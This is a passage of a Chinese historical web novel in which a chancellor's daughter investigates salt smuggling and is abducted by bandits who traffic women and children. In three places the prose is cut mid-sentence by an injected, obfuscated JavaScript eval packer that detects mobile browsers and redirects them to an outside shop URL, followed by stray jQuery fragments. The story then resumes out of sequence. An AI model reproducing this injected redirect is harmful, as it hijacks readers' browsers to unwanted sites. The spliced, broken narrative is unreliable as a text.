楚元琅站定,理所当然认为莲玉荇是在夸他,笑得十分恣意,“玉鹤表哥听见可不得了,兴许还会嫉妒我嘞。” 毕竟那时候楚元琅身量极小,还没有莲玉鹤的腿高,如今也是高八尺有余的俊俏少年了。 所以一时攀比也情有可原。 莲玉荇低低笑了一声,还是小孩子。看到楚越封禾他们过来了,赶紧行礼叫人:“舅舅、舅母。” 封禾一脸心疼迎上来,拍了拍莲玉荇的手,“前些天你母亲来了信,说是你遭了好些劫难,要我们好好照看你。我让你舅舅做了你小时候最爱吃的烧鹅,待会儿可得好好尝尝!” “我最爱吃烧鹅了。”莲玉荇眉眼弯弯,“多谢舅母、舅舅。” 楚越笑得温柔,站在边上听她们说话,模样略显憨厚,寒暄了几句,便招呼着她们进了府。“外面风大,先进去吧。” 几十年前,楚家跟着军队行军,军职越来越高,后来渐渐退出朝堂,开始行商,做起了鲜卑和大晋的往来生意,赚得盆满钵满。 再加上自家妹妹嫁了当朝宰相,身价水涨船高,旁人见了都得恭恭敬敬。 莲玉荇记得,自家小舅舅也是会武功的,相比少年时的年轻气盛,现下更沉稳内敛了不少。 “阿荇,你离开平城已经八九年了吧,你小时候住的房间我和你小舅舅还给你留着,里面的东西没人动过,我已经命丫鬟收拾好了,这段时间你便住那儿。” 封禾拉着莲玉荇的手往里厅走,喜笑颜开,又补充了一句,“宅子里空着的屋子,你想住哪儿住哪儿!” 莲玉荇不由得惊讶,没想到那间屋子还留着,她心中闪过复杂滋味,眼里泛起凌凌水光。 “多谢舅母,不用劳烦了,我住原先那间屋子便好。”莲玉荇垂眸说道。 待净了手,一众人坐下来,封禾便不停给她夹菜,一边说话:“你父亲现下身居高位,不得随意出入京都,不过还好你们这些小辈还自由些,不受管制,还能回来看看我们。” “舅母不必忧心。”莲玉荇道:“最近京都之中事务繁多,父亲母亲不能脱身,特地吩咐我多带了些东西,以示歉意。” 楚越闻言不乐意了,撇了撇嘴,“你舅母是担心你,只要人来了就行,还带了那么多累赘,若是需要什么,小舅舅再给你买就是,不必那么麻烦。” “就是就是。”元琅在一边附和,嘴角处挂着饭粒,惹得众人笑得前仰后合,只有元琅摸着脑袋疑惑不解。 “有这么好笑吗?我脸上有花吗?” 怎么都盯着他看,他脸上有东西?元琅扒着饭,在心里默默说话。 看着眼前这一幕温馨场面,莲玉荇心里暖得烫人,眸子里流露出怀念。 平城,真是久违了。 ** 来平城的第五日,楚越封禾夫妇怕莲玉荇待不惯,也怕莲玉荇闷出病来,提着楚元琅的耳朵千叮咛万嘱咐,才让他带着莲玉荇出门。 街上很热闹,小摊一个接一个,楚元琅仿佛侍卫一般,走在她前面开路,怕她磕了碰了。 莲玉饶有兴致地走着,没走几步,侧边忽地冲出来一个半大的小姑娘,撞到她的腿上。 小姑娘脸上蹭了几块脏污,眼睛却很亮,身上的衣服料子普普通通,胜在干净整洁。 莲玉荇正准备将她扶起来,忽然发现手上被塞了什么东西,视线一凝,手上的动作也顿住。 一瞬间她意识到什么,把纸团紧紧攥到手上,没让任何人察觉。 那小姑娘看了她一眼,大概是觉得任务已经完成,站起身后麻溜儿地跑开了。 楚元琅看得心惊肉跳,凑到莲玉荇身边低声说:“表姐,出门在外小心为上,切不可再让陌生人近身。” 没看护好他表姐,回家父亲母亲非得扒掉他一层皮。 而且莲玉荇大病初愈,又是丞相小姐,金尊玉贵,总归得小心一点。 莲玉荇很快看出楚元琅的局促和小心翼翼,莞尔,“元琅,我又不是泥娃娃,你何必如此担心,不过是一个小孩子。再者,你如此小心翼翼,是生怕别人不知道我是丞相小姐吗?” “表姐说得有道理。”楚元琅恍若大梦初醒,有些不好意思,扯开了话题:“逛了好一会儿了,我们不如先去吃点东西垫垫肚子,休息一番。” 楚元琅脚步一转,带着莲玉荇进了明月酒楼。 纸团蜷在手心,纸面在她的手掌上摩擦,随着走路的动作,一下下撩拨着她的注意力。 莲玉荇有种错觉,她好像是得了情报将要接头的刺客,偷偷摸摸,引人注目。 实际上,楚元琅带她上了二楼的厢房,密闭的房间隔绝了一切视线,不会有任何人看见他们。 “表姐喝水。”楚元琅倒了杯水递给她,四面环顾了一圈,视线掠过街上的人,停在某一处不动了。 莲玉荇问道:“怎么了,元琅?发生何事了?” 顺着楚元琅的视线看过去,街道上红彤彤的一片格外吸引视线,莲玉荇略微抬高了声音,“糖葫芦!” 平城的糖葫芦与京都不太一样,用料配方全是摊主独创,偏偏让人欲罢不能,这么多年没吃,还真有点馋了。 还未说话,楚元琅已然知晓她要说什么,嘱咐她待在这里,自己匆匆跑到楼下去买。 确认楚元琅已经走远了,莲玉荇这才把手上的纸团拿了出来,展开后露出几个飘逸的大字。 明月酒楼天字二号房。 那个小女孩将纸团递给她的时候,她就已经有了猜测,应该是贺沅安托人递给她的。 大街上人多眼杂,贸然相认肯定不稳妥,所以莲玉荇忍到现在才打开。 现在她所在的地方是天字一号房,这么说,隔壁就是天字二号房。 门开了又关上,隔壁响起开门声,旋即低沉的声音传来,“莲姑娘,别来无恙啊。” ** 贺沅安坐在上首,优哉游哉品着茶,面色缓和,眼尾透着微不可查的疏离。 莲玉荇微微颔首,算是回应,接着坐到一边,淡然地扯了扯嘴角,“这几日都没收到景王陛下的信儿,我还以为殿下不打算来了。” “既然已经约定好了,本王肯定会来,不过京都事务繁多,牵绊住了。”贺沅安语气淡淡,转了话头,“莲姑娘将本王约到平城来,想来应该找到了不少线索。” 尚且在京都之时,莲玉荇便信誓旦旦邀他来平城,帮他查到私盐的线索。 原本贺沅安不打算前往平城,甚至已经忘了这件事儿,还是身边侍卫提醒,他才将信将疑来了平城,看看莲玉荇到底耍什么花招。 莲玉荇察言观色,咂摸出一丝不对劲来——贺沅安仍然不相信她。 “陛下似乎已将私盐一事交给端王殿下,估摸着时辰,应该先我们一步到了。我让人查了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430446|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私盐价格从淮安开始提高,此后绵阳、平城私盐价格也提高了不少,我们不妨就从淮安开始调查。” 莲玉荇将自己查到的线索和盘托出,然后有意无意地提了一嘴贺砚随的名号,贺沅安也如她所预料的一般,脸色不着痕迹变了变。 过了一会儿,莲玉荇又道:“殿下以为如何?” “嗯。”贺沅安仿佛刚回过神来,应了一声,“莲姑娘既然已经有了主意,那便按你的想法来,过几日便往淮安走一趟。” “本王还有事儿,先失陪了。”贺沅安好像没什么精神,眼睑低垂,他放下茶杯,揉了揉眼头,起身离开了。 贺沅安已经离开,莲玉荇断然没有再继续待着的道理,起身准备返回隔壁,以免被楚元琅发现了。 只是刚踏出门槛,便被楚元琅抓了个正着,“表姐,你怎么在隔壁?” 糟了…… 真是说曹操,曹操就到。 莲玉荇脸不红心不跳,扯出一抹笑意,道:“方才你不在的时候,我碰巧在酒楼遇见了一位老友,顺便聊了片刻。” “哦?”楚元琅语调上挑,眼底明显写着不相信,不过最后还是没多说,把手里的糖葫芦塞给莲玉荇。 “快吃吧,不然一会儿得化了。摊主跑得远了,我追了好久才追上。” 莲玉荇看了看楚元琅,发现他额头上还坠着汗珠,气息也很乱,一看就跑了很久。 她顿了顿,“要不进去休息一下,反正现在日头尚早,我们待会儿再去逛逛也无妨。” 楚元琅摆摆手,莲玉荇等他呼吸平缓下来,两人一同出了明月酒楼,沿着街道一路逛,身后的家仆提溜了不少东西。 “元琅,不用买了,我又不缺簪子。”莲玉荇往后面瞧了瞧,制止了正在往她头上比划的楚元琅,有些哭笑不得,就算楚家家大业大,也禁不住他俩这么花费。 “诶诶诶,那边好像有小时候吃的酥糖,我去给你买!” 莲玉荇还没来得及开口,楚元琅已经跑远了。 ** “让一让!让一让!” 莲玉荇一行人刚找了个摊子坐下,几个官兵挤开人群,将告示贴在架子上,随后转过身来吆喝—— “半个月来,各处村庄皆有妇人和孩子失踪,请乡亲父老多多留意!提供线索者,赏银二十两!” 话音落下,又挤开人群走远了,留下围观的人叽叽喳喳讨论不休。 “二十两,官府这次真大方啊。” “妇人和孩子丢了几十个,能不着急嘛。” “天杀的,偷女人和小孩得遭报应。” “那怎么办?女人和孩子是无辜的啊……” …… 围观的人渐渐散去,莲玉荇把他们所说的话全都记在心里,妇人和孩子失踪确实不是小事,她得多多留意一下,看能不能找到什么线索。 这时,楚元琅也回来了冲着她扬了扬手上的东西,兴高采烈的:“买到了,回家!” 莲玉荇亲昵地拍了拍楚元琅的头,临走时又回头看了眼告示栏上,眼眸暗了暗。 有人从她身边擦肩而过,拐进街角,冲着面前的男人恭恭敬敬行礼,“主子,钱敏进了酒楼,此刻正大快朵颐,不枉我们从绵阳追到了平城,终于找到了他的踪迹。” 这两人正是前来调查私盐案的贺砚随和十九。 钱敏此刻还是个无名小卒,如果贸然抓了他又没正当理由,保准会让人抓住把柄,惹得一身骚。 况且,得顺藤摸瓜才能找到钱敏背后之人,不能打草惊蛇,只能暗暗派人盯着。 真是麻烦。前世他被这无名小卒背后之人算计致死,现在他还不能做什么。 贺砚随有些不爽,气息粗重了几分,吓得十九一哆嗦。 “跟紧了,别让他跑了。”男人幽幽说话,视线却移开了,似有所觉,往莲玉荇他们离开的地方瞥了一眼。 片刻后,贺砚随收回视线,转身离开,两人的身影很快消失在巷口。 12. 快逃 自从回了楚府府邸以后,莲玉荇一直惦记着告示板上所说的失踪妇女和孩子,颇有些坐立不安,每日茶饭不思。 一家人紧张得不得了,莲玉荇撒了一个谎,坦白自己不适应府里的环境,故而茶饭不思,这才打消了舅舅舅母的怀疑。 思来想去,莲玉荇还是找了个借口,出了家门四处逛逛。 一路走一路思索着,她暗暗托人打听了,妇人和孩子失踪的时间很集中,主要来自邻县邻村,也曾报官,官府派出一些人手寻找失踪人口,只是到现在还没找到他们的下落。 如果是土匪作怪劫财,怎么可能现在还发信勒索钱财,又或者是另有所图? 莲玉荇心脏狂跳起来,一股不详的预感涌上心头,要是再找不到人,这些失踪的百姓怕是会凶多吉少。 她隐约觉得,失踪的这些人和私盐一事或多或少有关联。 前进的脚步顿了顿,莲玉荇改了主意,拐到馄饨摊前坐下,点了一碗馄饨,随后状似无意地打听,“老伯,最近平城里似乎不太平,妇人孩子丢了一堆,官府也没什么动静,不知道何时才能找到人啊。” 老伯下馄饨的手一顿,很快又掩饰过去了,露出憨厚老实的笑容,却被莲玉荇悉数收尽眼底。老伯打着哈哈,“姑娘说笑了,老头就是一个卖馄饨的,哪里知道这些事情。您的馄饨好了!” 老伯似乎觉得莲玉荇是外来人,不想多说,专心做起了馄饨。 听他这么说,莲玉荇顿时觉得失望,长时间在这儿做生意的人都不知道,那她要去哪里找到蛛丝马迹。 莲玉荇叹了口气,老伯把馄饨端到桌上,朗声道:“您慢用!” 老伯刚走出去几步,脚跟一转,状似无意地来到莲玉荇身边,勤快地擦着桌子,眼睛往四处看,轻声说着话:“我听老家的亲戚提了一嘴,说是淮安新出了一窝山匪,来无影去无踪,杀人不眨眼呐!” “就算官府重金悬赏,我们小老百姓可不敢招惹,就怕有命拿,没命花呀……” “姑娘,我看你面善,应该是刚到平城,劝你别掺和这些事情,能躲多远躲多远,否则惹祸上身便不好了。” 老伯忽然压低了声音,看上去很怕被人发现,说话时脸上带着恐惧之色。 这件事竟是这般…… “多谢老伯。”莲玉荇若有所思,笑了笑,从袖子里拿出银钱放在桌上,去了另外的地方。 ** 所有的事情仿佛有了一个缺口,一个突破口,一条似有似无的线索将失踪案和私盐案联系在了一起。 二者发生的地方都在淮安,这让莲玉荇产生了一些猜想,只不过现在没有证据,她也不敢妄言。 暮色四合,事情了解得差不多了,莲玉荇准备原路返回楚府,然后提前去往淮安调查。 路过巷口时,里面传来细弱的呼救声,几乎听不见了,可是仔细听还有打骂声和孩子的哭叫声。 原本以为只是普通的矛盾,真正踏进巷子里才发现,事实远比她猜想的可怕万分,莲玉荇眼神一凛,下意识背过身靠在墙上。 殷红的血流了一地,男人一动不动躺在地上,胸口剧烈地上下起伏着,像是快断气了,目眦欲裂盯着面前的人。 妇人满脸惊恐,使尽了浑身力气,紧紧地抱住自己的孩子,生怕孩子再被抢了去。 三五个彪悍的男人蒙着面,眼睛里满是凶狠毒辣,动作粗暴,使劲拽着妇人怀里的小孩,小孩被扯得大哭,喊声几乎穿透街巷,而后被人紧紧捂住了嘴。 “再吵,割了你的舌头!”为首的男人低声喝道,孩子吓得瑟瑟发抖。 妇人跪在地上磕头,不断求他们放了孩子,十分凄惨。 简直不是人!莲玉荇瞪大了双眼,拳头紧紧攥着,在京都的时候,她也遇到了这种事情,当时她没有置之不理,现在也没有袖手旁观的道理。 更何况,面前这几个男人,显然就是馄饨摊老伯口中的土匪了。若是跟上他们,或许能探听到关于私盐的线索。 莲玉荇又看了看巷子里的情况,突然发现土匪手上的小姑娘有点眼熟,正是那天给自己手上递纸条的小孩子。 她放低呼吸,默不作声,小心翼翼把自己的裙摆、袖口绑起来,以免待会儿耽误行动,动作间,身上的香囊滑落在地上,但并未引起她的注意。 环顾四周没什么人,土匪们准备带着孩子离开,三三两两散开。 莲玉荇虽然不解他们这次为什么没有绑了妇人,没有多想,轻手轻脚跟在他们身后,认真观察着时机。 一、二、三…… 眼瞅着时机成熟,莲玉荇动作轻盈,三步并两步冲上去,在土匪还没反应过来之时,利落挥出拳头,抓起孩子的手就跑。 “呃……”为首的土匪痛苦地躬下身子,嘴唇里沾了血沫。 等到几个土匪反应过来的时候,莲玉荇和小姑娘已经跑远了,“可恶!还不快追!” 风声越来越快,莲玉荇清楚听到自己的心跳声,孩子似乎有点力竭了,脚步渐渐慢了下来,她观察了四周,发现一个藏身之地,赶紧把孩子放进去,自己也缩了进去。 电光火石间—— “人呢?连一个女人都追不上,真是个废物!”气急败坏的声音响起,莲玉荇屏住呼吸,顺带把孩子的嘴也捂住。 小孩子容易露馅。 “这儿怎么有堆东西?你去看看。” 脚步声越来越近,像夺命的更钟,一下一下敲在人心上。 莲玉荇脸上没什么表情,心里却很紧张,期盼着男人不要找到她们。 仿佛听到了她的祈求,男人的脚步声突然停了,转过身准备离开。 莲玉荇慢慢吐出一口浊气,心想应该已经蒙混过去了,还没等她放松下来,一张丑陋大脸忽然凑近,笑得狰狞可怖。 “找到你们了!” ** 夜色弥漫,本该是安定休息的时间,楚府上下人心不定,家主和主母焦躁不安,仿佛下一瞬就要冲出府去,听说是京都来的表小姐还没回府。 正厅内,楚越阴沉着脸发话:“派去找表小姐的人回来没有?有没有什么消息?” 下人战战兢兢上前,回答道:“回老爷,府中护卫已经带人去四处寻找了,一有消息必定速速来报。” 楚越心里焦急万分,姐姐把女儿送来平城,吩咐他好好照顾,没有几天,他便把人弄丢了。要是莲玉荇有个三长两短,他这个小舅舅真是没脸见人了。 “加派人手,再去找!”楚越大手一挥,让府里的下人纷纷出动去找莲玉荇的下落。 “父亲!”楚元琅从外面匆匆进来,看到封禾和楚越两人颓然的神色,心下微沉,还是安慰道:“表姐自小长在平城,如今来平城也有一段时间,已然熟悉,想必是被什么要紧事情绊住了脚,这才迟迟未归家。” 楚越叹气,眉目间都是愁意,早知道他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说起来,他听说莲玉荇早他许久就来到平城,不知道此刻在做什么。 说起来,他小时候也来过平城,还在楚府待过一段时间,和莲玉荇他们将楚府闹得天翻地覆,格外有趣。 贺砚随隐约觉得怀念,眼尾缀着流连之意,不过很快将这股情绪压了下去。 毕竟往事如烟,有人记得算什么,有人怕是早就不记得了吧。 只不过自作多情,徒增烦恼罢了。 长街上人突然多了起来,太守府里涌现出来许多官兵,急匆匆往前跑去,方向看着像是要出城。 这是怎么了?贺砚随不解,让暗卫去查探了一番,一柱香不到,暗卫来报:“主子,昨晚东边巷子里一个孩子被土匪抓走了,现下已经失踪了。” 一个孩子,犯不上出动这么多官兵吧? 侍卫继续说:“一同失踪的还有首富楚家的表姑娘。” 表姑娘,那就更犯不上了。 近日来的绑架贺砚随也有所听闻,平城太守也派了些人调查,可眼下这般阵仗,仿佛丢的是什么不得了的大人物一般。 贺砚随幽幽闭上了眼睛,丝毫没觉察到什么不对劲。 “哪个楚家?”贺砚随忽地开口说话,暗卫有些不解,还是老老实实回答:“便是丞相夫人的娘家。” 贺砚随终于意识到什么,脸上是肉眼看得见的震惊,方才他竟然没想到,在这偌大的平城,还有哪个楚家。 平复了半天,贺砚随嗓音艰涩,“方才的队伍准备去哪儿?” “回主子,隐约听到是去往淮安县。” “备马,跟着他们一起去淮安。” 贺砚随闭了闭眼,安慰自己,他只是去调查私盐一事,没有担心莲玉荇的意思。 可……谁信呢? 13. 困兽 一夜过去,天蒙蒙亮之时,贺砚随一行人终于到了淮安地界。 贺砚随牵着缰绳,远远望过去,城门在他们来之前刚刚打开。 等了一会儿,贺砚随奔马进城,便服衣摆飘扬,乌发被风吹起,一溜烟儿人影就消失不见了。 而在贺砚随身后追赶的暗卫简直欲哭无泪,整整一夜他都没有合过眼,竟也跟不上主子的速度。 明明说要跟着太守府派出的官兵队伍,如今倒远远把人甩在后面。 暗卫歇了几息,又运起轻功追了上去,主子的安危不能有失。 另一边,楚元琅说服了自家父亲母亲,发誓一定把莲玉荇完好无损地带回来,独自跟着队伍前往淮安,与他同行的还有景王贺沅安。 行至中途,队伍停下休整,天亮时再继续前进。 楚元琅靠在树下,面带愁容,随后将放在胸口的干粮拿出来,掰成两半,另一半分给了坐在旁边贺沅安。 “贺兄,你和我表姐是如何认识的?”楚元琅边啃干粮,边问道:“那日表姐说遇见了一个老友,原来就是你吗?” 贺沅安犹豫了片刻,还是接过了楚元琅递过来的干粮,拿在手上没动,另一只手拨了拨快要熄灭的火堆。 “我与莲姑娘年少相识,莲姑娘修书一封,邀我来平城游玩一番,没想到她竟然遭此劫难。” 贺沅安言辞恳切,看上去十分关心莲玉荇的安危,实际眼底埋藏着深深的寒意。 几个时辰前,楚元琅四处寻找莲玉荇的踪迹,恰好在明月酒楼遇到了贺沅安,一番交谈,才知道面前的人就是莲玉荇口中所说的老友。 而贺沅安也得知了莲玉荇被人绑走的事情,思虑许久,为了不暴露身份,还是决定跟着楚元琅他们一同前往淮安。 原先贺沅安并没有把莲玉荇放在心上,官家之女与皇子勾结,如若被发现,必定会触怒天颜,所以他才和莲玉荇做了约定,并不是真心实意。 贺砚随被皇帝委以重任探查私盐一事,给他带来了危计感,于是他抱着试探的心思,来到了平城,发现莲玉荇确实有一点谋略,姑且可以相信。 而莲玉荇被绑走,无疑给了他机会,楚家是平城首富,如果能成功救下莲玉荇,就可以得到楚家的助力,也可以压贺砚随一头。 贺沅安暗暗盘算着,心里止不住地得意,送上门的,不要白不要。 楚元琅听他说这话,沉默了许久,勉强笑了笑,“时候不早了,贺兄赶紧休息吧。” 火堆里传出噼啪声,火焰忽地蹿高,顷刻又落了下去。树林里昏暗一片,唯有这里亮着,小飞虫盘旋着越飞越远了。 ** 密密叠叠的林子里,五大三粗的男人手上攥着麻绳,麻绳上拴着七八个女人,半大的小孩跟在身边,抽噎着,但不敢哭出声来,样子格外可怜。 “啪——” 男人忽然挥动着鞭子往走在最前面的女人身上打去,声音震耳欲聋,女人惊叫一声,软倒在地上,孩子吓得瑟瑟发抖,眼泪流了满脸。 男人哼了一声,怒斥道:“都给我麻溜点,这地方可是狼窝,要是天亮前还没到寨子,你们就都留在这儿喂狼!” 众人不敢耽搁,赶忙扶起女人,开始赶路。 翻过一座座山,终于看到掩映在葱绿树林中的寨子,门口有人把守着,看到他们回来,笑着迎上去,“老三,这次收获不错嘛,今晚老大要摆酒席,给你接风洗尘。” 被叫做老三的男人扯了扯嘴角,脸上的疤痕也跟着动,模样很是可怖。 “先把人关起来,我去找大哥。”徐免吩咐看门的人,大步踏上台阶,进了房间。 老大徐速喝了不少酒,醉醺醺的,“老三,回来了,这次带了多少人回来?” 跟徐速的悠闲惬意不同,徐免闭口不言,回头看了看寨子,愁眉苦脸说道:“没带几个,我和几个兄弟进了平城,拐了一个女人和一个孩子,便带着剩下的人一起回来了。” “怎么回事?!”徐速的酒意醒了不少,声音也大了起来。 徐免站起身,快速关上了房门,十分谨慎。 他叹了口气,随后说明了原由:“我从平城出来之后,发现大批官兵在城外聚集,正在往淮安县赶来。我怕和队伍撞上,便匆匆忙忙赶回来,途中还绕了不少弯路,这才安全回到寨子里。” 徐速眉头紧紧皱起,“往淮安县赶来,不一定就是来抓我们的吧?何况我们还有……” 徐速止住话头,看向坐在对面的徐免。 “可这实在太凑巧了。”徐免摇摇头,否定了徐速的想法。 “那些官兵都是从太守府出来,若是那位,我们安心即可。平城太守治下严苛,栽在他手上的人数不胜数,我们千万不能掉以轻心。” “而且我怀疑这群人中有什么高官贵族家的人。”徐免一句话指出要害,徐速愣在原地。 “现在怎么办?”徐速反应过来,慌张不已,赶忙问道。 徐免安抚他,“先别急,大哥立马修书一封,问问那位。” “对对对。”徐速仿佛抓住了救星,“照你所说,不到一日,太守府派来的官兵便可到达淮安县,我现在就写信,让那位来定夺。” 徐免点点头,接着分析,“最坏的打算就是官兵攻上山,将我们拿个人赃并获。接下来,按照我说的去做……” 红烛烧干了,不一会儿又重新被点上,照亮了一屋暗室。 待到天光大亮,紧闭的房门终于打开了,徐速先行出来,笑得灿烂无比,“备酒席,给老三接风洗尘!” 寨子各处的人都涌了出来,欢呼雀跃地准备酒席去了。 徐免跟在徐速身后,看着这一幕,阴沉了许久了脸上,终于露出一点笑意。 “老三,一夜未阖眼,你先去休息,待会儿我去叫你。”徐速拍了拍徐免的肩膀。 徐免站在原地,突然开口问道:“这么久了,怎么不见二哥?” 徐速愣了片刻,想起什么,说道:“老二在地牢里守着呢,以免有漏网之鱼逃跑,坏了大事。” 徐免的心终于放下来,安心回屋补眠去了。 ** 地牢里昏暗一片,莲玉荇一进入就不适应的眯起了眼睛,地牢里挤满了人,无一都是女人和孩子。 “进去!” 有人在背后使劲推了一把,莲玉荇踉跄着扑倒在地上,手心火辣辣得疼。 她慢悠悠坐起来靠在墙上,借着昏暗的光一看,手掌上沙土糊了一片,沁出血来。 等到全部人都进来后,那人锁上门,让众人老实点,然后守在出口处。 莲玉荇催垂下眼,表情没什么波动,突然头上投下来一片阴影,抬起头,发现是和她一起被抓的那个小孩。 她弯了弯嘴角,“你叫什么名字?” 小孩没说话,突然蹲了下来,从衣服里拿出来一块布巾,帮她包扎伤口。 布料很粗糙,接触到伤口的同时带起一阵刺痛,莲玉荇嘶声,恍惚间听到小孩瓮声瓮气说话,“小棉花。” 小棉花?莲玉荇忽然笑了笑,小棉花,真是个好听的名字。 她伸手把小棉花抱到身边,摸了摸她的头发,问她:“小棉花怕不怕?” “不怕。”小棉花小声说话,“我娘会来找我的。” 莲玉荇手上的动作顿了顿,接着环顾了四周。 这里被关着的就是这段时间失踪的人吧。莲玉荇眼底浮浮沉沉,不知道这伙土匪绑这么多人干什么? 不能坐以待毙,得找个机会逃出去。莲玉荇心里暗暗想着。 只是还没等想到办法,莲玉荇就被人带出去了。 整个地牢的目光都汇聚到她身上,有疑惑的、不解的,更多的是麻木的。 莲玉荇心里沉了沉,一言不发,小棉花准备往她这边跑,被他一个眼神钉在原地。 土匪们给莲玉荇眼睛上蒙了一块黑色的布料,她睁着眼睛,却什么都不到。 好狡猾。莲玉荇心里一惊,想来是怕她记住路线,趁机逃跑吧。 一路走着,莲玉荇看不见,听力就变得格外敏锐,开始凭借听觉感觉开始记忆路线。 兵器相接的声音很多,应该在练兵,穿过回廊之后,欢呼声渐渐大了起来,还有人不断走动着,酒器落桌…… ……像是在准备什么酒席? 莲玉荇动了动耳朵,还没听出来什么,带路的人突然停了下来,放开了她的手。 眼睛上缠着的纱布被扯开,收受到强光刺激的眼睛瞬间盈满泪水,莲玉荇不适地眨眨眼睛,视线随即清明起来,将眼前的场景收进眼底。 主座的男人看见她进来,眼睛微微放大,下首的两个男人直勾勾盯着她,透露出危险。 其中有一个,正是和莲玉荇在巷□□手的男人。 气氛凝滞了片刻,主座的男人发话了,“这位姑娘,不妨跟我们兄弟说说,你到底是平城谁家的?” 莲玉荇眼底闪过一丝精光,单独把她带出来问话,必定有什么不可告人的秘密。虽然不知道他们为什么要问这个,但留一点底牌总归不会有事。 莲玉荇皱眉,淡淡开口:“我只是普通人家的女子,问这个做什么,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莲玉荇被安排在离地牢不远处的一间屋子,值得庆幸的是没被缚住手脚。 她在屋子里四处转了转,发现四面的窗户已经被封死,要想出去的话,只能走正门。 土匪头子下命令派人守住她,现在外面已经守了三四个人,保管叫她逃不出去。 单独问话,然后把她单独关在一间房,想必是小舅舅他们发现自己失踪了,派了人来救她,引起了土匪们的忌惮,这才牢牢控制住她。 只是一路上她已经发现了,这个地方易守难攻,没有人带路,根本进不来。 她得想办法逃出去。 莲玉荇有些颓然地坐在床上,还有什么办法呢? 门外面没有什么声音,只听得到或深或浅的呼吸声。 再等等。莲玉荇心道。 ** 淮安县内,由于现在调查私盐案没有什么头绪,不能贸然行动,贺砚随没有前往淮安县衙探查,而是将周围的暗卫尽数散了出去,不到一个时辰,暗卫便带着线索悉数回归。 “回禀主子,淮安县失踪人数是整个平城的一半,不少百姓都报了官府,官府派了人去查探过,并没有找到失踪的人。” “不少百姓说城南二十里处有一处土匪窝,山高路险,连官府也上不去,便不了了之了。” …… 暗卫将线索全部说出,贺砚随揣摩着这些线索,立马觉出了不对。 既然四处都找不到人,最有嫌疑的土匪窝却因为山高路险便放弃了,这其中肯定有猫腻。 被绑架的那些人,说不定全都在土匪窝里。 贺砚随很快便有了主意,立马启程前往城南二十里处。 途中,贺砚随遇上了姗姗来迟的楚元琅和贺沅安,方向不是淮安城内,那就是打算直接前往土匪窝了。 贺砚随一眼看见了人群中的贺沅安,不着痕迹地收回视线,没有停下,直接策马狂奔,很快消失在树林里,留下楚元琅他们一脸懵地看着。 楚元琅收回视线,问贺沅安:“贺兄,那位仁兄看着有点眼熟,你认识他吗?刚刚他好像往我们这边看过来了。” 贺砚随去的是土匪窝的方向,贺沅安看得着急,但不能表现出来半分,随口说道:“没见过,应该是过路人。” 两人明明长得一模一样,楚元琅虽然神经大条,但是眼神挺好,但是看贺沅安的样子,不太想提起这件事。 楚元琅“哦”了一声,拍了拍脑袋,如梦初醒一般惊呼,“那边是土匪窝,他要是闯进去,小命怕是不保。” 楚元琅赶紧催促队伍行进,贺沅安不动声色,内里翻江倒海,这个蠢货,咋咋呼呼的,早知道自己就和贺砚随一样单独行动,不至于现在还没到。 至于贺砚随,如果他死了,自己应该会更开心。 “贺兄,快走啊,愣着干什么!”楚元琅喊他。 贺沅安掩饰好眼底的情绪,迈步跟了上去,“来了!” 14. 逢灯 夜幕降临,徐家寨也热闹起来,早就准备好的酒席此刻终于开始。 欢呼雀跃、举杯痛饮的嘈杂声音传到寨子各处。 莲玉荇听着外面传来的动静,赶忙起身凑到窗户边仔细听。 门口守着的三四个人变成了两个,应该是去吃酒席去了。 劲接着,门口的两个人开始窃窃私语起来。 “今天这酒席真热闹啊,待会儿等他们两个回来,就轮到我们了。” “三当家这次只带回来十多个人,是不是出什么事情了?比以往至少少了一半人数,寨子收入也跟着少了一半。” “况且还要‘上贡’……” 上贡?上什么贡?给谁上贡?声音忽然低了起来,莲玉荇紧紧贴着窗纸,这才将将听到一点声音,两人却突然转了话题。 “……听说三当家这次绑了个不得了的人物,平城那边派了很多官兵来。” “啊?!那我们怎么办?” “你怕什么?出了事,三个当家的在前面顶着呢,要是有事,不可能操办这么大的酒席,放宽心啊。” “原来是这样,那我就放心了!” 门口的两个人嬉笑起来,胡乱说着话。 莲玉荇把他们说的话听了进去,大概一会儿就有人来换班,她可以趁着这个空档逃出去。 过了好一会儿,果然听到窸窸窣窣的声音,透过门缝看过去,醉醺醺的两个人摇摇晃晃走过来,另外两人自然等不及了,一路小跑着离开了。 机会来了。莲玉荇看着外面眼睛都睁不开的两人,轻声开口道:“两位大哥。” 两人听到声音,迷迷糊糊看过来,大声说道:“什么事?” 莲玉荇思虑片刻有了主意,抽噎起来,“两位大哥,小女子一天一夜都没吃东西了,现在饿得心慌,如果两位大哥愿意给我一点吃的,要我做什么我都愿意,求求你们了……” 门外两人本来有所迟疑,但是听到莲玉荇可怜又可亲的声音,很快便答应,“真的做什么都愿意?” “真的真的。”莲玉荇连连点头,心里却想着,等我出去,让你们好看。 一个人被派去拿食物,一个人则守在门口,等了一会儿,莲玉荇听到了钥匙响动的声音。 门忽地开了,醉酒的男人一脸迷蒙,眯着眼睛看向莲玉荇,想做什么不言而喻。 莲玉荇直直对上男人贪婪的眼神,眉眼弯弯,伸手把男人带进房间。 下一瞬,趁男人没反应过来,擒着男人的双手往后扭,快速用手往男人脖颈上敲。 男人一瞬间没了知觉,往地面滑落,莲玉荇谨慎地踢了踢男人的身体,确定没动静之后,伸手将钥匙拿过来。 方才她在房间里翻到一套衣服,莲玉荇赶紧拿出来换上,退出房间后,重新将门给锁上。 逃出来之后,莲玉荇第一时间前往地牢,看能不能把地牢里的人给救出来。 